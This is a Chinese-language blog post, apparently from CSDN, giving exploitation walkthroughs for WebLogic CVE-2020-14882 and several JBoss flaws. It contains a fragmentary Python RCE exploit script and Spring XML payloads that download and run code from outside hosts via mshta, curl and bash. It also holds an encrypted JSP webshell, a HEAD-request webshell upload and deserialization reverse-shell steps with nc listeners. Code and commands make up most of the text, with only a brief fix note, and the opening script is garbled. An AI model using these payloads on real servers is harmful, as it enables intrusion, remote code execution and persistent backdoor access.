▒█░░░ ░▒█▒█░ ▒█▀▀▀ ▀▀ ░▄▀ █▄▀█ ░▄▀ █▄▀█ ▀▀ ░█░ █▄▄█▄ ▄▀▀▄ ▄▀▀▄ 
░▄▀ 
▒█▄▄█ ░░▀▄▀░ ▒█▄▄▄ ░░ █▄▄ █▄▄█ █▄▄ █▄▄█ ░░ ▄█▄ ░░░█░ ▀▄▄▀ ▀▄▄▀ 
█▄▄
                         Research: Jang
                   C0de by Base4Sec - @s1kr10s
"""
print(banner)
# Post Review - https://testbnull.medium.com/weblogic-rce-by-
only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
host = input("Remote Host: ")
port = int(input("Remote Port: "))
path = "/console/images/%252E%252E%252Fconsole.portal"
url = "{}:{}{}".format(host, port, path)

while True:
	cmd = input("$cmd> ")
	payload =
"_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('{}');\");".format(cmd)
	headers = {
		"User-Agent": "Mozilla", 
		"Host": "mosaic.mcmaster.ca",
		"Accept-Encoding": "gzip, deflate",
		"cmd": "tasklist", 
		"Content-Type": "application/x-www-form-urlencoded"
	}

    try:
		print("Sent...")
		response = requests.request("POST", url, data=payload, headers=headers)
	except:
		print("Fail server ({}).".format(host))
		exit()
  1. 通过
    com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
[windows] WebLogic Server 版本: 10.3.6.0
  • cmd.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-
method="start">
		<constructor-arg>
			<list>
				<value>cmd</value>
				<value>/c</value>
				<value><![CDATA[calc.exe]]></value>
			</list>
		</constructor-arg>
	</bean>
</beans>

GET方法:

http://192.168.78.105:7001/console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://139.155.49.43:8000/cmd.xml")

POST方法:

url:
http://192.168.78.105:7001/console/css/%252e%252e%252fconsole.portal

body:
_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://139.155.49.43:8000/cmd.xml")

Getshell:

cmd.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
		<constructor-arg>
			<list>
				<value>cmd</value>
				<value>/c</value>
				<value>
                    <![CDATA[mshta http://139.155.49.43:888/download/file.ext]]>
                </value>
			</list>
		</constructor-arg>
	</bean>
</beans>
ROOT_PATH= C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\

Shell_path= ../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

http://192.168.7.105:7001/console/images/jsp4ant.jsp
[linux] WebLogic Server 版本: 12.2.1.3

是一种更为通杀的方法,最早在 CVE-2019-2725 被提出,对于所有Weblogic版本均有效。

构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如 http://example.com/rce.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
		<constructor-arg>
			<list>
				<value>bash</value>
				<value>-c</value>
				<value><![CDATA[touch /tmp/success2]]></value>
			</list>
		</constructor-arg>
	</bean>
</beans>

然后让Weblogic加载XML并执行其中的命令:

http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://139.155.49.43:8000/shell.xml")

缺点是需要 Weblogic 的服务器能够访问到恶意XML。

  • 反弹shell

shell.xml

<?xml version="1.0" encoding="UTF-8" ?>
	<beans xmlns="http://www.springframework.org/schema/beans"
		xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
		<constructor-arg>
			<list>
				<value>bash</value>
				<value>-c</value>
				<value>
                    <![CDATA[curl 139.155.49.43:8000/shell.sh -o /tmp/shell.sh]]>
                </value>
			</list>
		</constructor-arg>
	</bean>
</beans>

shell1.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
		<constructor-arg>
			<list>
				<value>bash</value>
				<value>-c</value>
				<value><![CDATA[bash /tmp/shell.sh]]></value>
			</list>
		</constructor-arg>
	</bean>
</beans>
漏洞修复

关闭后台 /console/console.portal 对外访问

参考文章

vulhub/weblogic/CVE-2020-14882

s1kr10s/CVE-2020-14882

jas502n/CVE-2020-14882

JBoss漏洞

Jboss简介

一个基于 J2EE 的开放源代码的应用服务器

JBoss 是一个管理 EJB 的容器和服务器,但 JBoss 核心服务不包括支持 servlet/JSP 的WEB容器,一般与 Tomcat 或 Jetty 绑定使用。 Jboss 是 Java EE 应用服务器(就像Apache是web服务器一样),专门用来运行 Java EE 程序的。

Jboss历史漏洞

访问控制不严导致的漏洞

  • JMX Console未授权访问Getshell
  • Administration Console 弱口令 Getshell
  • CVE-2007-1036 – JMX Console HtmlAdaptor Getshell
  • CVE-2010-0738 – JMX控制台安全验证绕过漏洞

反序列化漏洞

  • CVE-2013-4810 – JBoss EJBInvokerServlet 反序列化漏洞
  • CVE-2015-7501 – JBoss JMXInvokerServlet 反序列化漏洞
  • CVE-2017-7504 – JBoss 4.x JBossMQ JMS 反序列化漏洞
  • CVE-2017-12149 – JBosS AS 6.X 反序列化漏洞

Jboss历史漏洞发现

Jboss漏洞检测

https://github.com/GGyao/jbossScan

https://github.com/joaomatosf/jexboss

Jboss历史漏洞利用

JMX Console 未授权访问漏洞

漏洞简介

Jboss的webUI界面 http://ip:port/jmx-console 未授权访问(或默认密码 admin/admin ),可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取 webshell

漏洞发现

访问

http://xx.xx.xx.xx/jmx-console/

如果能直接进入或者通过默认账号密码登录则代表存在漏洞

漏洞利用
  • 远程部署war包

找到 jboss.deployment 选项 (Jboss自带的部署功能)中的flavor=URL,type=DeploymentScanner 点进去(通过 url 的方式远程部署)

在这里插入图片描述

也可以直接输入以下URL进入:

http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

进入页面后找到 void addURL() 下面这一个

在这里插入图片描述

此时部署我们远程的war包木马,在vps上进行

# 打包冰蝎jsp马为war包
jar -cvf shell.war shell.jsp

# 在vps上启动web服务
python -m http.server

# war包下载地址
http://vps-IP:8000/shell.war

将war包下载地址粘贴在 ParamValue 上,然后后点击 Invoke 部署

随后点击 Back to MBean View 来到 URLList 中查看 Value 值是否已经部署好,并且是我们的远程 war 木马地址

在这里插入图片描述

最后点击 Apply Changes 后耐心等待一会儿,然后回到 JMX-Console 目录中

注意:等待的时间是有点长的

返回 jmx-console 目录找到 jboss.web.deployment 查看是否存在我们部署的war木马

访问地址: http://ip/shell/shell.jsp

Webshell 管理工具连接即可

Jboss弱口令Getshell

漏洞简介

JBoss Administration Console 存在默认账号密码 admin/admin ,如果Administration Console 可以登录,就可以在后台部署 war 包 getshell

常见弱口令:

admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password

访问8080端口点击 Administration Console ,使用 admin/admin 进入后台,选择war包进行上传

漏洞利用

访问 http://xx.xx.xx.xx/admin-console

CVE-2007-1036

漏洞简介

此漏洞主要是由于JBoss中 /jmx-console/HtmlAdaptor 路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到JMX控制台,并在其中执行任何功能。该漏洞利用的是后台中 jboss.admin -> DeploymentFileRepository -> store() 方法,通过向四个参数传入信息,达到上传shell的目的,其中 p1 传入的是部署的war包名字, p2传入的是上传的文件的文件名, p3 传入的是上传文件的文件格式, p4 传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现, p2 和 p3 可以进行文件的拼接,例如 p2=she,p3=ll.jsp 。这个时候服务器还是会进行拼接,将 shell.jsp 传入到指定路径下。

影响版本

jboss4.x以下

漏洞利用

利用后台中 jboss.admin -> DeploymentFileRepository -> store() 方法

在这里插入图片描述

  • payload
http://xx.xx.xx.xx/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

通过访问上面的url定位到 store() 方法

p1   job1.war
p2   job1
p3   .jsp
p4   <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

Invoke 之后会将 p1 参数创建 war 包,把 p2 和 p3 两个参数加起来当作文件名, p4 是文件写入的内容

最后访问 http://xx.xx.xx.xx/job1/job1.jsp 即可

CVE-2010-0738*

JMX Console安全验证绕过

漏洞简介

利用原理与 CVE-2007-1036 相同,只不过利用 HEAD 请求方法绕过 GET 和 POST 请求的限制

影响版本

jboss4.2.0-jboss4.3.0

漏洞利用
  • POC
HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True

CVE-2015-7501

JMXInvokerServlet 反序列化漏洞

漏洞简介

CVE-2015-7501, JBoss 在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码

Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化, JBoss 在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,从而导致了漏洞。

漏洞发现

访问 http://ip:port/invoker/JMXInvokerServlet ,返回如下的 response ,说明接口是开放的,此接口存在漏洞

漏洞利用

这里需要用到 javac 进行编译 ser 文件,所以首先安装 java 环境

mkdir -p /opt/java
cd /opt/java
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
update-alternatives --install "/usr/bin/java" "java" 
"/opt/java/jdk1.8.0_20/bin/java" 1112 update-alternatives --install "/usr/bin/javac" "javac" 
"/opt/java/jdk1.8.0_20/bin/javac" 1112 update-alternatives --config java
java -version
javac -version

下载反序列化利用工具:

https://github.com/joaomatosf/JavaDeserH2HC

git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC
java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 124.71.45.28:1212

用 netcat 进行端口监听,接收反弹的shell

nc -lvvp port
curl http://xx.xx.xx.xx:port/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-7504

JBossMQ JMS 反序列化漏洞

漏洞简介

JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP InvocationLayer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似,只是利用的路径稍微出现了变化, CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。JBoss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer的 HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响范围
JBoss AS 4.x及之前版本
漏洞发现

访问 http://47.104.255.11:60080/jbossmq-httpil/HTTPServerILServlet

漏洞利用

进入攻击机,下载反序列化工具

https://github.com/joaomatosf/JavaDeserH2HC

git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC

进入目录执行

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
(ip是攻击机ip, port是要监听的端口)

使用nc打开端口监听,再用之前生成的 .ser 文件,通过 POST 二进制数据上去,使用nc
监听端口,即可拿到shell

nc -lvp 4444

curl http://ip:port/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-12149*

Jboss Application Server反序列化命令执行漏洞

漏洞简介

JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。

该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

首先需要了解 Java 的序列化和反序列化。Java 序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java 反序列化就是指把字节序列恢复为 Java 对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

影响范围

JBoss 5.x - 6.x

漏洞发现

访问 http://ip:port/invoker/readonly ,若返回显示状态码为500的报错界面,则证明漏洞存在

漏洞利用

这里使用的反序列化工具对于 CVE-2017-12149 和 CVE-2015-7501 两个漏洞都可以进行利用,总体上都是利用Java的反序列化。使用 java 编译 ser 文件,这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser 文件

javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar 
ReverseShellCommonsCollectionsHashMap 120.27.61.239:4444

使用 nc 监听端口:

nc -lvvp 4444

curl 请求反弹建立连接:

curl http://47.104.255.11:60080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值